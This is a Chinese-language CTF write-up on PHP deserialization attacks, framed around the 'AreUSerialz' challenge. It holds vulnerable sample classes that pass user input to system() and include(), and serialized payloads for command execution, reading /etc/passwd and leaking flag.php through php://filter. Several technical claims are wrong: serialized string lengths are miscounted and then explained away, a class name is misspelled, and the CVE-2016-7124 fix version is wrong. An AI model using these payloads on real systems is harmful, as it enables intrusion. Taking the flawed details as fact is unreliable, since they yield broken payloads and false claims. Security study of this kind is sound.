☰
PHP反序列化漏洞解析与CTF实战
2026/10/15 9:40:35 网站建设 项目流程

1. 题目背景与核心考察点

这道CTF题目来自2020年网鼎杯青龙组的"AreUSerialz",是一道典型的PHP反序列化漏洞利用题。题目名称本身就在暗示我们需要关注PHP的序列化(serialize)与反序列化(unserialize)机制。

在实际的CTF比赛中,这类题目通常会考察以下几个核心点:

  • PHP序列化字符串的结构解析
  • 反序列化过程中的魔术方法触发
  • 对象属性与类方法的调用链构造
  • 最终实现任意代码执行或敏感文件读取

2. PHP序列化机制深度解析

2.1 序列化基础语法

PHP序列化后的字符串具有特定的格式规则。以一个简单的类为例:

class Test { public $var1 = 'hello'; protected $var2 = 123; private $var3 = [1,2,3]; } $obj = new Test(); echo serialize($obj);

输出结果类似于:

O:4:"Test":3:{s:4:"var1";s:5:"hello";s:7:"\00*\00var2";i:123;s:10:"\00Test\00var3";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}

关键结构说明:

  • O:4:"Test"表示一个对象(Object),类名长度为4,类名为Test
  • :3表示该对象有3个属性
  • {}内是属性列表,每个属性包含名称和值
  • 属性名称前的\00表示不可见字符,protected属性前缀\00*\00,private属性前缀\00类名\00

2.2 反序列化漏洞原理

当PHP执行unserialize()时,会:

  1. 根据序列化字符串重建对象
  2. 自动调用某些魔术方法(如果存在):
    • __wakeup(): 反序列化时自动调用
    • __destruct(): 对象销毁时调用
    • __toString(): 对象被当作字符串使用时调用
    • 其他魔术方法在不同场景下触发

漏洞产生的原因是:攻击者可以构造特殊的序列化字符串,在反序列化时触发对象中危险的魔术方法或属性操作,最终实现任意代码执行。

3. 题目具体分析与利用

3.1 题目源码还原

根据题目名称和常见出题模式,我们可以推测题目可能包含类似以下结构的代码:

<?php class VulnerableClass { private $dangerous_prop; public function __destruct() { if(isset($this->dangerous_prop)) { system($this->dangerous_prop); } } } $data = $_GET['data']; unserialize($data);

3.2 漏洞利用链构造

要利用这个漏洞,我们需要:

  1. 创建一个VulnerableClass对象
  2. 设置dangerous_prop属性为要执行的系统命令
  3. 序列化该对象
  4. 将序列化字符串传递给data参数

构造过程示例:

$obj = new VulnerableClass(); $obj->dangerous_prop = 'id'; echo serialize($obj);

生成的payload类似:

O:15:"VulnerableClass":1:{s:20:"\00VulnerableClass\00dangerous_prop";s:2:"id";}

3.3 实际利用中的注意事项

  1. 属性可见性问题:

    • private属性在序列化时会被加上类名前缀
    • 需要准确计算属性名的长度(包括前缀)
  2. 字符串长度计算:

    • 每个\00算作一个字符
    • 例如"\00VulnerableClass\00dangerous_prop"实际长度为:
      • 1(\00) + 15(类名) + 1(\00) + 14("dangerous_prop") = 31
    • 但序列化中显示为20是因为PHP的编码方式
  3. 绕过__wakeup限制:

    • 如果类中有__wakeup方法重置危险属性,可以尝试:
      • 修改对象属性数量大于实际数量(CVE-2016-7124)
      • 例如:O:15:"VulnerableClass":2:{...} (实际只有1个属性)

4. 进阶利用技巧

4.1 利用POP链构造

在更复杂的场景中,可能需要构造属性链(Property-Oriented Programming):

class FileHandler { private $filename; public function __toString() { return file_get_contents($this->filename); } } class Logger { private $log_me; public function __destruct() { echo $this->log_me; } } // 构造利用链 $file = new FileHandler(); $file->filename = '/etc/passwd'; $logger = new Logger(); $logger->log_me = $file; echo serialize($logger);

4.2 字符逃逸技巧

当存在序列化字符串过滤时,可以利用字符逃逸:

function filter($data) { return str_replace('dangerous', '', $data); } // 原始payload $payload = 'O:15:"VulnerableClass":1:{s:20:"\00VulnerousClass\00dangerous_prop";s:2:"id";}'; // 计算替换后长度变化 // 每处"dangerous"(9字节)被替换为空,字符串长度减少9 // 需要调整s:后的长度值

5. 防御方案与最佳实践

5.1 安全的反序列化实践

  1. 避免直接反序列化用户输入
  2. 使用json_encode/json_decode替代
  3. 如需使用序列化,应:
    • 实现签名验证
    • 限制反序列化的类白名单
    • 使用PHP 7的php_serialize过滤器

5.2 魔术方法安全编写

在类设计中:

  • __wakeup()中应重置所有敏感属性
  • __destruct()中避免危险操作
  • 避免在魔术方法中直接使用对象属性执行系统命令

6. 实战解题步骤还原

假设题目提供源码如下:

<?php class Secret { protected $file; public function __destruct() { include($this->file); } } $data = unserialize($_GET['data']);

解题步骤:

  1. 分析可利用的类和方法:Secret类的__destruct会include文件
  2. 构造恶意对象:
    $obj = new Secret(); $obj->file = 'php://filter/convert.base64-encode/resource=flag.php'; echo serialize($obj);
  3. 生成payload:
    O:6:"Secret":1:{s:7:"\00*\00file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
  4. 发送payload并解码base64获取flag

7. 常见问题排查

  1. payload不生效可能原因:

    • 属性可见性设置错误(private/protected前缀)
    • 字符串长度计算不准确
    • 魔术方法被过滤或覆盖
    • PHP版本差异(特别是CVE-2016-7124相关)
  2. 调试技巧:

    • 在本地搭建相同PHP环境
    • 使用var_dump查看对象反序列化结果
    • 检查error_log获取执行错误信息
  3. 属性数量绕过失效:

    • PHP 7.4+修复了CVE-2016-7124
    • 需要寻找其他利用链

8. 相关扩展学习

  1. PHP GC(垃圾回收)机制对反序列化的影响
  2. Phar反序列化漏洞
  3. 其他语言的序列化安全问题:
    • Python pickle
    • Java反序列化
    • .NET BinaryFormatter

在实际CTF比赛中,这类题目往往会结合其他知识点,如:

  • 文件上传绕过
  • SSRF组合利用
  • 特殊协议封装(php://, data://等)
  • 代码审计技巧

建议通过搭建本地测试环境,使用xdebug逐步调试,深入理解反序列化过程中对象的重建和方法的调用流程。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询